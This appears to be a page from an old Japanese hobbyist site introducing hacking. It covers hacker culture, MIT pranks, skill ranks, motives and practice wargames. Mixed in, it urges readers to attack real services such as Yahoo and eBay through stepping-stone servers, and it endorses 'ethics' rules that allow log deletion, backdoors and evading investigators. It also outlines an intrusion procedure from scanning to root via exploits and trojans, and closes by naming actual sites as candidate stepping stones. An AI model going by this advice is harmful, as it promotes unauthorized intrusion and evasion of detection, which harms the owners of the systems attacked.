Security escola

* ホーム

* インフォメーション

* セキュリティ講座

* ハッキング

* Winnyについて

* ツール

*メール

斜線部分は工事中です

      リンク

Security Akademeia

ハッキング技術研究会

業界初!無料で4万件に一括登録代行! SEO対策、サーチエンジン登録の【登録大魔王】 

ハッキングについて

#搭載との情報には危険なものも含まれていますが、違法行為を奨励しているわけではありません。

#あくまでも、セキュリティに関する知的向上や好奇心を増すために作られたサイトです

#当サイトの情報を利用して違法行為をしても、当方は一切責任を取りません。ご理解をお願いします

基礎Hacking通論

■はじめに

 Hacking、それはまるで悪魔に取り付かれたような天才コンピューター達を呼び出し,文明開化にメスを入れることを企む内容を呼ぶ。しかし私はHackingというのを快楽と冒険的なアプローチでコンピューターに接する事だと思う。HACKERは本の指示通りになんてやらない。適当にいじくりまわしては必要に応じて何かを追加し、何か問題につまずいた時、他のHACKERにそれを教える。一部に連中は詐欺師みたいな奴だが、大抵の連中はいい奴等だ。それか少なくても無害な連中だろう。さらに付け加えれば、Hackingは驚くほど簡単に出来てしまう。私はこの場でアナタ達にそれを証明しよう。しかしHACKERになりたいと思う気以外では、これは明らかに快楽を得、友達を驚かせ、さらにそこから女とデートを取り付ける事を目的とした行為だ。それでもしあなたが女性HACKERなら、男の釘付けになるだろう。

 

■ハッキングとクラッキング

 ハッキングとはコンピュータネットワークに限らず知的好奇心を満たすことが目的とする行為である。例えば、コンピュータに侵入しようと挑戦したり(成功しても改竄しない)、ネットワークの脆弱性などを調べることである。よって、ハッカーとは研究者ということになります。

 一方、クラッキングとはサーバーに侵入した後、悪意的にファイルを改竄したりしてしまうことです。よって、ハッカーも良心を失うとクラッカーになってしまうわけです。

 

■HACKとHACKERの起源

 ハック(HACK)とは元々MIT(マサチューセッツ工科大学)で使われたジャーゴンで、学生のユーモラスな創意工夫やユニークなこと(学生のいたずらも含む)です。そして、人々を驚かせ、魅了し、とんでもない行為をひそかに決行する面白い連中がハッカーといいます。彼らは、学生の関心をひきつけるために、学期終了日やエイプリルフールや期末テスト後を狙ってハックする。彼らがどんな面白いことをしたのかは、MIT博物館(http://hacks.mit.edu/)で公開されています。このサイトのコンテンツの「The Gallery of Hacks」(http://hacks.mit.edu/Hacks/)にハッカーたちの犯行が展示されています。例えば、有名なものにはグレートドームに乗っかったパトカー事件やR2D2事件などだろう。

 前者の事件は、1994年5月9日の春学期の最終日に起こった。MITのシンボルであるグレートドームの上にMIT警察のパトカーが発見されたのだ。真相は外側のフレームだけが本物で、あとは木でつなぎ合わせた模型でした。パトカーの中には制服を着た警察官の人形がいて、おもちゃの拳銃とドーナツを握っていまいた。パトカーには「No parmit for this location」(ここは駐車禁止です)と記載された違反切符がつけられており、キャンパス内のあちこちでは「パトカー紛失中、発見したらMIT警察に連絡してください」というお知らせまで張ってありました。

 後者の事件は、1999年5月17日の春学期の最終日に起こった。グレートドームが深夜のうちにR2-D2(スターウォーズに登場するロボット)に変身してしまった事件です。ちょうど、スターウォーズシリーズの新作の「エピソード1 ファントム・メナス」の公開数日前だったために、これも大騒ぎになった。

[注意]MITの敷地は広大なために、専用の警察までいる。その警察をMIT警察という。

 鉄道模型クラブの人たちがコンピュータ室に夜中忍び込んで色々いじったりしたり、そこから後輩たちが鍵開けやPCのプログラムやハードウェアの制御に熱中したりしました。彼らもハック行為を行った疑いがあり、そこからコンピュータ関連でユニークなことをする行為もハックと呼ぶようになったと思われます。

 この辺の話は、『マサチューセッツ工科大学』(新潮文庫)『ハッカーズ』(工学社)『ハッカーズ大辞典』(アスキー)を読んでみると楽しく理解できると思います。

[補講1]MITのマスコットはバービーです。MIT創始者のウィリアム・ロジャース氏の格言である「作ることから学べ」から連想される動物だからだそうです。

[補講2]MITにはATHENAという学内コンピュータネットワークが完備されている。ATENAルームは普段電子ロックされており、入室するのに暗証番号を入力する必要がある。日本の大学も似たような環境になってきている。

このATHENAは日本語環境が整っている。最初のシステムは英語環境であったが、MITにはこれまで多くの日本人が留学したため、彼らが日本語環境を整えてくれたからだ。

 

 UNIXのプログラムというか、UNIXのカーネルを公開したりするのがカーネルハッカー。また、電話関連のハッキングのフリーク(Phreak)は特に欧米では盛んなハッキングジャンルであり、Hackingの元祖とも言われているようです。UNIXに精通するハッカーが悪意を持ったら即クラッカーでもありえないし、クラッキングするにもハッキングレベルのスキルは要求されます。そう考えるとハッカーとクラッカーの共通部分も存在すると思います。

(ホワイトハットとブラックハットに対して、その中間のいわゆるグレーハットという人たち)

 

 ハッカーとクラッカーの使い分けを呼びかけているWebサイトが存在しますが、当サイトでは面倒なので全てハッカーと呼ぶことにします。特に、悪意或ることが明示である場合はアタッカーと呼ぶことにします。

 

■ハッキングとクラッキング

 ハッキング(hacking)とはコンピュータネットワークに限らず知的好奇心を満たすことが目的とする行為です。例えば、コンピュータに侵入しようと挑戦したり(成功しても改竄【カイザン】しない)、ネットワークの脆弱性などを調べることです。よって、ハッカーとは研究者ということになります。

 一方、クラッキング(cracking)とはサーバーに侵入した後、悪意的にファイルを改竄したりしてしまうことです。よって、ハッカーも良心を失うとクラッカーになってしまうわけです。

 

 一般的にはこのように使い分けられていますが、私個人としてはあまり区別していません。数学的に言えば、ハッキングと言われる行為の集合とクラッキングと言われる行為の集合の共通部分は空集合ではなく、両方に含まれる行為(集合の要素)が存在すると思われるからです。ホワイトハットとブラックハットに対して、その中間のいわゆるグレーハットという人たちがそれに対応しています。

 本書ではその辺の厳密性にはこだわらず、ターゲットにダメージを与えるような行為をハッキングやクラッキングという言葉を使わないで、アタックと統一しています。また、それら行為を行う人物をアタッカーとしています。

 

■ハッカーとは何か?

 まず、ハッカーとは何か考察しなければなりません。

 

 『コンサイスオックスフォード英語辞典』では次のように書かれています。

 

ハッカー(名詞)

1:叩き切ったり、大雑把に切り刻むことをする人

2:趣味でコンピュータを使う人。特に、データに不正にアクセスする人。

 もちろん、2の定義になるわけですが、少し定義の意味が広すぎて適していません。

 

 次に『オックスフォード英語辞典』では次のように書かれています。

 

ハッカー(名詞)

1:熱狂的なコンピュータプログラマーまたはユーザー

2:コンピュータやコンピュータ上のデータに不正にアクセスしようとする人

 1の定義が本来のハッカーの意味です。ハッカーがハッキングを行う動機として後ほど紹介しますが、ネットワークやシステムを探検したり、習得したりすることを楽しみとしている人がハッカーに当たります。このハッカーの集合にはセキュリティ専門家などを含むホワイトハット、スキル(技術)は高いが悪意をもって行動するクラッカーを含むブラックハット、またその中間のグレーハットの集合が含まれます。式で表すと次のようになります。

 

(ハッカー)⊃(ホワイトハット)∪(グレーハット)∪(ブラックハット)

 

 2の定義は新聞やTVや映画で宣伝されているような通俗的な意味のハッカーです。

 

■HACKERの中の位置付け

 個人的にはスキルの順は次のように思っています(認識の個人差は出ると思いますが)。

wannabe<script kiddie<newbie<hacker・cracker<wizard<guru・demigod

 

○ワナビー【wannabe】

ハッカーになりたいと考える人たち。

語源は「I wanna be a hacker」(wanna=want to)である。

Newbieはハッキングの勉強をするがワナビーはなりたいと思っているだけという大きな違いがある。

 

○ローデント【rodent】(類語:スクリプトキディ、ラマー)

ラマーの別称。

ただし、1980年代に使われた言葉で現在はあまり使われていない。

 

○ラマー【lamer】(類語:スクリプトキディ、ローデント)

やっかいな行為を行う愚か者のこと。

IRC上で使われていることがある。

 

○ウィザード【Wizard】

ハッカー(Hacker)やクラッカー(Cracker)の中でもスキルが高い階級。

語源は「男性の魔法使い」である。

さらにWizardを超えた神格化しているようなハッカーをguruという。

 

○デミゴッド【demigod】

半分コンピュータの神のような存在。

長年ネットワーカーとしての経験かついずれかの分野で偉業を成し遂げた人。

Guruに近い意味で使われる。

 

○グル【Guru】

Wizardのスキルを超越して神格化されているような人物。

 

■Hacking(ハッキング)とは?

 広義な意味でのハッキングという行為には、次が考えられます。

  • サーバやシステムに侵入←最近は、この意味で使われることが多々有ります。
  • 日本語化
  • バグの発見
  • 鍵開け(過去)←『Hackers』によると鍵開けもハッキングの一部らしいです。詳細は基礎鍵空け講座を参照せよ。
  • アスキーアート(過去)←現在はアスキーアートを書くためのソフトが存在するのでハッキングは含まれない。
  • その他、ネットワークやコンピュータシステムの原理や動作を
  • など

 狭義な意味でのハッキングという行為は、次が考えられます。

  • カーネルを自分好みに改造
  • コーディングやプログラミング
  • など

 

■ハッキングに興味が有ります。効率良く、ハッカーになるにはどうしたら良いですか?

 まず、初めに先人たちのハッキングの知識やテクニックを学びましょう(LectureZ(Security)を参照しましょう)。最初の頃は、日本語のハッキングサイトを見ればOKですが、そのうちに英語圏のサイトなどを見ることになる思われるので、英語も勉強しおきましょう。

 

 次に、自分でサーバを構築し、それをハッキングしてみましょう。SecurityとHackingは、通じる物があります。また、電話系(Phreakingという)に興味がある人は、Box(特別講座<Box編>を参照せよ)を作ってみると良いでしょう。そのためには、半田ごてなどを用意しないとならないでしょう。

 

 最後に、実践に移ります。yahoo,e-bay,Excite,2600,自分のDVDプレイヤーをHackしましょう。ちなみに、踏み台はちゃんと、確保しておきましょう(特別講座<踏み台確保編>を参照せよ)。

 

 また、プログラミングの知識も必要となるので勉強しましょう。

 

■ハッカーの生活←内容は古いですが精神は共通部分です。

 平均的なハッカーは複数のコンピューターを持ち、(常にではないかもしれないが)インターネットに接続し、BBSの熱心なユーザーであり、多くを読み、多くを学び、常に知識を伸ばそうとしている。彼らはアセンブリやC、C++,Hex,Pascalなどのコンピューター言語の知識を有する。彼らは他のハッカーと話をするためにIRCをよく用いる。ハッカーの平均的なコンピューターは、286、386、486、Pentiamなど(彼らが働いて手にすることはできるものは何でも)である。彼らは9800−36.6kのモデムを持ち、基本的に使えるものは何でも使う。また彼らは、ハッキングに関する多くのテキストファイルを持つ。(必ずしもではないが)彼らは、ボードやカードその他のコンピューターの内部構造についての知識も持つ。もちろんすべてのハッカーが私の言うとおりではない。なぜなら、基本的にすべてのハッカーは各々が異なっており、彼らは彼らの選んだコンピューターやOS、ハッキングプログラムなどを持っているからだ。すべてのハッカーは異なっている。

 ハッカーには多くの異なった習慣がある。時に彼らは(Phreak)ハッカーによって作られた装置を使って電話回線を欺き長距離電話のただ掛けを行っている。

 

■どうしたらハッカーになれるのだろうか??

 もしあなたがハッカーになることを望むなら私はインターネット上の人々からなにかを学ぼうとするなと言いたい。なぜならあなたはあなたの話している相手が誰かを知ることはできないし、彼らの知識の程度もわからない、結局、人は印刷された文書からすべての情報を得る。もしあなたがハッキングの方法を知りたいと思うならあなたの町であなたが信用することができる人を見つけ、彼らから学ぶようつとめるべきである。そしてあなたのすべきことは、彼らのしていることやその方法にに注目し、彼らに助けてもらうことである。加えて、あなたがハッキングを学ぶ最上の方法は多くを読むこと。UNIXのマニュアル、プログラミング、DOSマニュアル、ハッカーズハンドブック(ハッカーのための偉大な文書)、もしあなたがフリーキングについて学ぼうと思うならフリーカーズマニュアル、そしてコンピューターの内部構造についてのマニュアルなどを読むことである。BBSについて学びそれを使用する、FTPやTelnetの方法などについて学ぶことである。繰り返し読み、そして学ぶ。そのほかには、もしあなたがインターネット上かその他で、信頼できて十分なハッキングの知識を持った人と出会ったらその人たちから学ぶのもよい。しかし、最も良いのは自分自身を信じて読書に励むことである。知識は一夜にしては成らない。おそらく何年もかかるだろう。ハッキングに対してうぬぼれは禁物である。もしあなたがうまくハッキングできても、どのようにやったかについて喋りまわってはならない。秘密にしておくことだ。自分がしていることを楽しむこと。それらの習慣を身につけるには時間と忍耐を要するだろう。

 

■Q12:典型的なクラッカー像を教えてください。

 以下は、『クラッキング対策ファイナルガイド』から引用します。

----- Start -----

C,C++,Perlのいずれかでプログラミングができる←これらの言語は一般的な要件です。

TCP/IPに精通

インターネットを月50時間以上使う

最低2つのオペレーティングシステムに精通←その1つは間違いなくUNIXかVMSです。

コンピュータを使用する職業に従事している(またはしていた)

骨董、ビンテージ、時代遅れとなったコンピュータハードウェアやソフトウェアを収集

----- End -----

 

■典型的な標的(ターゲット)を教えてください。

 以下は、『クラッキング対策ファイナルガイド』から引用します。

----- Start -----

オーナーがインターネット初心者である。

システム管理者はLANの経験があってもTCP/IPの経験がない。

設備かソフトウェア(または両方)が古い(おそらく時代遅れ)

----- End -----

 

■ハッキングの動機となる要因

○悪意・利益

 

 他人のメールを盗み見たい、恨みを持った相手のコンピュータ上にあるファイルを削除して困らせたいなどがこれに当てはまります。

 また、受動的アタックを利用してクレジットカード番号を盗んだり、不正アクセスして手に入れた個人情報を名簿屋に売ってお金にしたりすることもこれに当てはまります。

 

例:クラッカー(職業クラッカーを含む)、サイバー犯罪者など。

 

○遊び・楽しみ

 

 事実、ハッキングは楽しいです。コーディングが楽しくて楽しくてたまらないかたもいるでしょう。

 コンピュータをこよなく愛して、何時間・何日・何週間・何ヶ月間も問題解決のためにコンピュータを作業することを愛することが当てはまります。

 

○好奇心・探検

 

 インターネットや電話ネットワークを探検してどのような仕組みであるか調べて、興味有る事実を発見したりすることが当てはまります。これはネットワークに限らず、ソフトウェア、ハードウェア、システムなども当てはまります。

 ソクラテスは無知の知を唱えましたが、知れば知るほど、自分が知らなければならないことが沢山あることに気づくでしょう。

 

○政治

 

 政治的な主張を唱えるためにWebページを改竄するようなことが当てはまります。

 

○自己顕示欲・愚かさ

 

 人間の虚栄心から生まれる行為が当てはまります。例えば、自分のスキルの高さを示すためにハッキングしたりすることです。

 

○アクセス

 

 これは今日ではあまり一般的な理由ではありません。かつて、インターネットと言えば学生または研究者または軍関係者だけのものだった頃の理由です。現在は無料ISPが存在するし、老若男女がインターネットを利用したり、Webサイトを公開している現代では、この理由は当てはまらないでしょう。

 

■将来的にハッカーを目指す人へ

 今後もコンピュータは発達していきますが、私の推測ではこれからのキーワードは次の2つだと思います。

・ユビキタス・コンピューティング

・量子コンピューティング

 

 前者はどこでもチップを埋め込まれていて、情報をやり取りするような環境を指しています。現代でもネット家電やPDAや携帯電話がありますね。これらをもっと進化させたのがユビキタス・コンピューティングです。

 例えば、ゴミにチップが埋め込まれていてゴミの分別を自動的にしてくれるゴミ箱や薬瓶にチップが埋め込まれていて副作用があるような薬の瓶を同時に開けると警告してくれるシステムなどが考えられます。そのほかにも位置検出技術、電子ペーパー、RF-IDチップ、オクシジェン、COTSダスト、スマートダストなどが考えられます。

 詳細は特別講座<ユビキタス編>を参照せよ。

 

例1:UCB(カリフォルニア大学バークレー校)では1999年からスマートダストを研究しています。スマートダストとは空中に浮くほど微細な粒子上にコンピュータやセンサ、太陽電池などを搭載し、多数の粒子が通信しあって、自由度の高いセンサの役目をさせようとするもので、これ自体がセンサネットワークを構成しています。2002年現在では7mm角程度の試作品が開発されたが、1mm立方の粒子を目指すといっています。名前から推測できますが、ホコリにインテリジェンスが入ってセンサになるわけなので、その存在には非常に気づきにくいです。もちろん、飲んでも害はありません。よって、軍事・諜報用途に向くので、DARPAから資金が出ています。

 

 これらが現実になるのは10年後ぐらいかもしれませんが、それ以前にICカードやeTRONカードが普及すると思われますので、その周辺のハードウェアに関して今から学んでおくとよいと思います。

 

[補講]eTRONカード(Entity TRON card)とはキーとなる情報を安全に格納して、デジタル情報インフラ上で流通させられる耐短パーチップを核技術とした広域分散システムアーキテクチャーです。

 

 後者はちょっと難しいのですが、現在の0と1の2進数をベースとするコンピュータ、即ちチューリングマシンを進化させたものです。量子コンピュータが実現すれば、素因数分解という計算作業が容易にできてしまうといわれています。素因数分解の困難さは現在の暗号技術の核となっている部分で、これが容易にできるということは今ある暗号技術は暗号たるものではなくなってしまうことです。

 この量子コンピューティングを理解するにはオートマトン理論や通信理論や符号論などの情報学的知識とそれに伴う数学的知識、さらには量子コンピューティングの実装のための物理学的知識などが必要になります。

 

[呟き]仮に量子コンピューティングが実現しても、その世界にも限界があることは数学的に示せますが・・・。 

 

■ハッキングについて

●ハッキングあれこれ

 ハッキングと言っても様々あるわけで一般的にマスコミで言われている侵入もそれに含まれます。その他にも、OSの核となる部分をよりよく発展させるカーネルハッキング、タダで電話をかけてしまう電話ハッキング(フリーキング)、ソースコードの公開されていないソフトウェアを解析してソースコードを調べ上げてしまい制限チェックなどをはずしてしまうクラッキング(Kracking)、ネットワークを飽和させたり遠隔操作やウイルスで混乱に陥れるクラッキング(Cracking)、ゲームのチートコマンドや攻略法を追求するゲームハッキング、テンペストを作成してパスワードを入手したり様々な機器を改造して利用するハードハッキングなど存在します。

 また、ホワイトハットとブラックハット、セキュリティとアンダーグラウンドは紙一重なわけです。どちらの立場にあなたがつくのかは状況・性格・環境次第でしょう。コンピュータ自身は境目などは存在しないわけで、「ハッカーの定義とは? 」という時代錯誤のような議論はどうでもいいと思われます。リアルハッカーは倫理はあっても、そのような議論は本質でないのでどうでもいいわけで、コンピュータの仕組みなどを好奇心の赴くままに追求するわけです。事実、歴史的に見ても人類は他の学問においても好奇心の赴くままに数学・物理学・化学・生物学などを追求してきましたわけです。

 

●終わりに

 現在のプラグラマーたちはアルゴリズムが用意されているからといって安心はしていられません。今後、量子コンピュータが実現したならば、現在存在するコンピュータとは全く仕組みが違うために、今までプログラミング言語が違っても共通に利用できたアルゴリズムを全部捨てなければならないわけです。これはプログラマーにとって脅威です。また、量子コンピュータの恩恵として素因数分解の高速計算が実現され現在主流の公開鍵暗号化方式が解読されてしまいます。この意味でも暗号解読者や暗号学者は更なる暗号の構築・追及が必要なわけです。ハードウェアもどんどん小型化・高速化していきます。もちろん研究室では使われていくと思いますが、もしかしたら今後パソコンという形態も大衆世界から失われるかもしれません。今後もハッカーたちが住みやすい世界を祈ります。 

 

■Hackerビギナーズガイド

 少なくとも以下の知識を必要とするので自分のペースでよいとおもうので習得できるようにがんばってください。

  • UNIXの知識
  • ネットワークの知識
  • プログラミング能力(最低C言語)

 

■アタッカーの活動時間

 世界のアタッカーたちにアンケートをしているわけではないので、詳細な統計は出せません。推測してみると、通常、学生や会社員であると思います(アタックの魅力に取り付かれて一日中アタックするアタッカーや職業クラッカーの人たちは別)。よって、昼間は学校や会社へ行っているので、おのずと夜〜夜中にアタッカーが活動すると導かれます。

 また、アタックする時間帯が夜なのは別な意味でもアタッカーにとって有益です。アタック対象となるサーバーの会社では夜中のほうが会社員や作業員が少ないため、何かトラブルがあってもすぐに対処できない場合があったり、リアルタイムにrootに会わなくて済む可能性が高いということもあります。

 

 逆に、管理者側は24時間いつアタックされてもすぐに対処できるマニュアルを作成しておくべきです。アタックをされても、最小限に食い止めることは重要だからです。

 

■理論と実際は違うことについて

 推理小説や新聞の犯罪報道を読む人ならば知っていると思いますが、アタックというのは単に弱点を見つけるだけではすみません。その弱点をうまいこと利用するには、アタッカーはターゲットを見つけて、アタックを計画して、それをやり遂げて逃げおおせる必要があります。

 

例:キャッシュディスペンサーをアタックするとき

 アタッカー候補がキャッシュディスペンサーのネットワークの暗号化アルゴリズムに欠陥を見つけただけではいけません。通信回線にアクセスして、プロトコルについて十分研究してお金を盗めるようなとんでもないメッセージを作れるようになって、実際にお金を盗んで、しかも捕まえらないようにしなくてはいけません。こういう他のステップがないと、暗号の欠陥はただの理論でしかありません。

 

■ハッキング倫理学

●『ハッカーたち:コンピュータ革命の英雄』(1984年)スティーブン・レヴィの倫理←古典的ハッキングの倫理の一つ

1:情報は力である。ゆえに、情報は無料でなければならない。

2:一般の人々の利益になるようなコンピュータテクノロジーの使用に関して、企業や政府は信頼できない。

3:インターネットでのプライバシーと原論の自由の保障に関して、企業や政府は信頼できない。

4:コンピュータやネットワークを我々が理解しない限り、我々はそれを理解する企業や政府の奴隷状態である。

5:コンピュータは創造性を広げ、普通の人の手によって芸術や音楽を想像する可能性をもたらす道具である。

6:WWWの発明は印刷技術の発明に似ている。しかし、教会や国ではなく、普通の人たちによってコミュニケーションする力をもたらす。

7:コンピュータへのアクセスは生を豊かなものにし、個人の中にある創造性を解き放つ。このことはコミュニティの全てに有益である。

8:コンピュータへのアクセスは万人に開かれるべきであり、富める「情報富裕」中流層のためだけのものではない。

9:コンピュータのグローバルなネットワークへのアクセスによって、バーチャルコミュニティの豊かな多様性を創り出すことが可能である。

10:社会的、経済的な構造の新たなモデルをインターネットは供給している。それは、人々が自分たちの富ではなくて社会への自分たちへの貢献を判断できるギフトエコノミーを促進するものである。

11:もし、ロバート・アントン・ウィルソンが言うように「コミュニケーションが対等のものの間でのみ可能」であるならば、コンピュータは脱中央化と伝統的な平等感を破壊することでコミュニケーションを可能にする。

12:もし、マーシャル・マクルーハンが言うように「メディアはメッセージである」ならば、グローバルなコンピュータの発明は脳にある知識を表象するために使われている深層構造を変化させるだろう。

13:我々はこれから何年も自分たちの社会におけるコンピュータの衝撃を知ることはないだろう。しかし、その結果ははるか遠くまで及び、何もかも絶えず変化させるだろう。

 

●「ハッカー倫理作法」LOD/Hのメンター(指導者)←クラッカー予備軍にも賞賛されるはずです。

1:いかなるシステムも意図的に破壊してはならない。破壊したならば、トラブルになるだろう。

2:捜査の手から逃れ、将来またはアクセスできるようにする変更以外、いかなるファイルを改竄してはならない。

(ログ消去とバックドアの設置はOK)

3:不正にアクセスした結果、自分または他人のハンドルネームなど情報を残してはならない。

4:信用できる人以外にハッキングの計画をしているという事実を教えてはならない。犯罪は一人が一番である。複数になればなるほど漏れる可能性が高い。

5:知らない人物に対して実際の電話番号・住所など所在地がばれるような情報を明かしてはならない。即ち、匿名化に気を配ること。

6:政府のコンピュータをハッキングしてはならない。

7:他に手段が全く無い場合を除いてコード(プログラム)を使ってはならない。

8:パラノイドになるのを恐れてはならない。

9:掲示板に自分が投稿したものを監視せよ。

10:質問するのをためらってはいけない。

11:実際にハッキングをしなければならない。

 

●「Akademeia Hacking Rule」

 他のHacking Ruleを参考にして、勝手に作ってみました。

1:ハッキングする動機は「好奇心・探検」かつ「遊び・楽しみ」でなければならない。「かつ」であって、「または」ではないことに注意。

2:ログ消去・バックドアの設置以外、システムのファイルを改竄してはならない。

3:ハッキングの結果手に入れるものは企業秘密になるようなシステムの設計図や開発中のプログラムコードなどさらなるスキルアップのためのファイルのみが許される。他人のメールを盗み見ることなどは好ましくない。

4:情報を共有する相手には気をつけること。

複数で悪意のあることを実行するということは、それだけ情報が漏れやすいということである。

どんな信用できる人物であっても、その人物が拷問されたり、自白剤を利用されたりすれば、しゃべってしまうこともあるということを忘れないこと。

5:普通の電話回線や暗号化されていないメールでハッキング計画について会話しないこと。

電話回線やメールは盗聴されている可能性もある。よって、重要な会話は独自の通信手法を利用したり、暗号化またはスクランブル化してやり取りすること。ただし、暗号化やスクランブルにしても完璧ではないことに年頭におく必要がある。

6:自分が見張られているかどうか常に神経質になること。

自分の部屋や外出先のホテルなどに盗聴器が仕掛けられていないかどうかクリーニング(盗聴器が仕掛けれていないかどうか全周波数をチェックすること)し、壁は防音壁かどうかを確認し、普通のガラスだと遠距離からもガラス振動から会話が筒抜けなので、2重ガラスかどうかを確認すること。

7:尾行や強盗に襲われることや災害にあう可能性をいつでも想定しておき、身体的準備・肉体的準備・物質的準備をしておくこと。

例えば、地震や火事などの災害が起きる可能性は一瞬一瞬少なからず存在する。そのために、サバイバル術などを学ぶことが必要である。

8:質問する前には必ず検索で可能な限り調べる。その結果わからなければ、ためらうことなく質問をしてもよい。

質問の前に調べることは相手のためではなく、自分のためである。なぜならば、質問に答えるレスがついたとき、迅速に答えることができるからである。

9:本、ネット上の文書、BBS、IRCの会話などあらゆる情報を集めるためにアンテナを張ること。学問に関係なく、貪欲に知識を吸収しようとすること。

10:実際にハッキングをしなければならない。知識も大事だが、経験も大事。

11:コンピュータや電話システム以外にも学ばなくてはならない。

例えば、電気回路さらには電子回路が動作するための電磁気理論、コンピュータネットワークさらには通信理論が成立するための符号理論、コンピュータの動作のためのチューリングマシンやノイマン型の理論などが含まれます。

12:自分のペースで少しずつでもよいので、進歩すること。

学ぶことは無限に存在する。技術は常に進歩し、老化などによって記憶減退するため、常に研究・学習しなければならない。

13:常に謙虚であること。謙虚は美徳。

 

■合法的にアタックの実践力を身に付けるには?

 アタックの知識を学んで理解できるようになったら、実践してみたいと思うのが普通でしょう。まだ経験が浅いうちに、他人をターゲットにしてはいつ捕まるかは時間の問題です。

 よって、次に紹介する幾つかの方法で合法的にアタックの力を試してみてはどうでしょうか? 慣れたら、あらゆる場面でアタックを行い、本当の実践力を身につけ、精力的に活動してください。

 

○自分のコンピュータをアタックする

 自分のコンピュータが安全かどうか知ることもできるし、さらにはLAN内にサーバーを構築することによってサーバー管理者の気持ちまたはサーバー構築のスキルを身に付けることもできるでしょう。

 

○友人と協力してネットワークを組む

 友人と協力して、犠牲用サーバーを互いに組み、アタックごっこをするという手もあります。自分が想定もしていないシステムを友人は構築して待ち構えているかもしれません。このような訓練によって、自分の知らないシステムに対するアタックのアプローチ方法、逆に友人からの想定もしていないアタックを回避するアプローチ方法の考察に役に立つでしょう。

 

 また、自分と一緒にスキルアップできる友人を持てるという点でもよい方法でしょう。そのような友人を持たない方は、ハッキング関連のIRCのチャンネルやチャットにおいて、友人を見つけるとよいでしょう。

 

○ハッカーグループ・ハッカーチームに入る

 海外だと2600マガジン主催のミーティングが各地で行われています。彼らに接することによって、向上心を高めたり、スキルアップに繋がると思います。

 

 また、IRCにおいて、ハッキング関連のチャンネルの常連となって、情報交換したりするのも勉強になるでしょう。

 

 自分のスキルやアビリティに合うようなグループを見つけることをお勧めします。情報エントロピー0のような会話ばかりとるようなグループには入らないようにしたほうがよいでしょう。

 

 ハッカーたちまたはニュービーたちはそれぞれのチームを作って互いにスキルアップ、情報交換している場合があります。これらに加入することによって、裏BBSのURIまたは裏HotlineのIPアドレスを教えてもらえ、濃い情報交換ができることでしょう。

 

 ただし、チーム同士には派閥があることも考慮してください。

 

○アタックの練習ができる無料サーバーで遊ぶ

 インターネット上には無料で犠牲者サーバーを用意しておいて、アタックの練習ができるように提供しているところも少なからず存在します。そのようなゲームを「War Game」と呼びます。

 

 例えば、次のようなサーバーがあります。

 

・FHZ(http://www.hackerslab.org/jorg/hackingzone/hackingzone.htm)

・NGSEC's Security Game(http://quiz.ngsec.biz:8080/)

・Roothack.org(http://www.roothack.org/)

・Hack3r.com(http://www.hack3r.com/)

 

 レベルが分かれていて自分のハッキングスキルがどのくらいかが分かります。ただし、あくまで練習用なので、結果がよくても安心せずに日々精進し、結果が悪くても悲観することなく日々精進しましょう。

 

 ちなみにWar Gameの攻略方法などに関しては『ハッカーの教科書 実践編』(仮題)で紹介する予定なので、それまで皆さんの課題としておきます。

 

○ハッキングゲームで遊ぶ

 Hacker version 1.1やUplink(http://www.uplink.co.uk/)といったハッキングのシミュレーションゲームがあります。どちらも英語ですが、雰囲気は楽しめると思います。

 

 前者のHacking version 1.1(Hacker1_1.zip)はWindowsで動作するシンプルな作りのシミュレーションゲームです。後ほど遊び方を紹介します。

 

 後者のUplinkはWindows版(uplinkdemo.exe:Windows 95/98/2000/NTで動作)とLinux版(uplinkdemo_linux.zip)が存在します。実際遊んでみるとわかりますが、結構見た目もカッコよい作りになっています(図1、図2、図3、図4参照)。序盤だけ体験版としてフリーで遊べます。Hacking version 1.1とは異なり、ハッキングツールを購入したり、パスワードを解析するためのCPUをアップグレードしたりと結構楽しめます。気に入ったら購入してみるとよいでしょう。

 

(図1)uplink1.gif←オンライン株を買うところ

(図2)uplink2.gif←ホストに接続しているところ

(図3)uplink3.gif←大学の成績を改竄しているところ

(図4)uplink4.gif←踏み台サーバーを経由してアクセスしているところ

 

 ただ、どちらのゲームも実践のハッキングとはかけ離れているので、息抜きとして楽しんでください。

 

○企業が開催するアタックコンテストに参加する

 企業が新製品のファイアウォールハードウェアなどを開発したりすると、アタックコンテストを催しその製品がどれだけセキュリティ度が高いのかを示したりすることがあります。もちろん、アタックコンテストでハッキングに成功すると賞金もでるでしょうが、あまり参加することはお勧めできません。なぜならば、全てのポートをはじくように設定するなど企業側が非常に有利に設定してあるからです。なぜならば、企業側はアタックコンテストを催すことによって注目を浴びることが目的であるからです。即ち、アタックコンテストは大抵宣伝のために行っているわけです。

 

 また、FBIなどがわざとおとりのアタックコンテストを仕組んで、攻撃の手法の分析を行ったり、攻撃がどこからくるか統計的に調べたりすることもあるので、あまり関わらないほうがよいでしょう。

 

■アタック対象サーバーの比較

 詳細は応用ターゲッティング講座を参照せよ。

 

■ハッカーツール

 ハッカーツールは、サーバー侵入のプロセスの一部を自動化できます。このようなツールは、A級ハッカーの足元にも及ばないが、C級ハッカーをそこそこのアタッカーに仕立てることぐらいはできます。

 

●必要だと思われるツール

 

●有ると便利なツール

 

■サーバに侵入するなどのHackingの3種類

  • ローカルアタック←例;race condition,IFSシェルのよるHacking,Sniffing
  • リモートアタック←例;リモートExploit、スキャン
  • コンソールアタック←例:1FD Linuxによるマウント、ソーシャルエンジニアリング、ショルダーハッキング、

 

 侵入とは異なりますが、他にも次のような嫌がらせとなるアタックもあります。

 

■ハッキングの基本的(お手軽)な手順

 Attackerは誰でも持っている権限から、最終的にはroot権限を奪取することを目的としています。

1、ターゲッティング(詳しくは基礎ターゲッティング講座を参照せよ)

 ターゲットは慎重に決めましょう。

2、スキャン(Pingスイープ、ポートスキャン、OS特定、アタックフィンガープリンティング、ネットワークリソースの列挙、ユーザー・グループの列挙、アプリケーションバナーの列挙)

 相手マシンの入り口を捜す。セキュリティーによっては、Sendmailなどでroot権限を奪取できるかもしれません。

3、アクセス権限の奪取して侵入する

 一応、踏み台を踏んだ上で侵入しましょう。侵入の仕方は、ブルースフォースアタック、Remote exploit、remote buffer overflowなどが考えられます。

4、root権限を奪取

 一般ユーザ権限では物足りないので、root権限を狙います。ゲスト権限しか入手できなかった場合、SnifferやTrojan(suトロイ、lsトロイ、passwordトロイなど)によってroot権限を狙う。

例;perl.c(Exploit for FreeBSD sperl4.036 by OVX.)を利用した場合。これはローカルアタック用のExploitである。

 最初の踏み台を得るにはどのサーバをハックしたらどうしたらいいのでしょうか?これに対して、幾人は次のように答えるでしょう。

www.hpvca.com

www.warez950.org

www.7thsphere.com

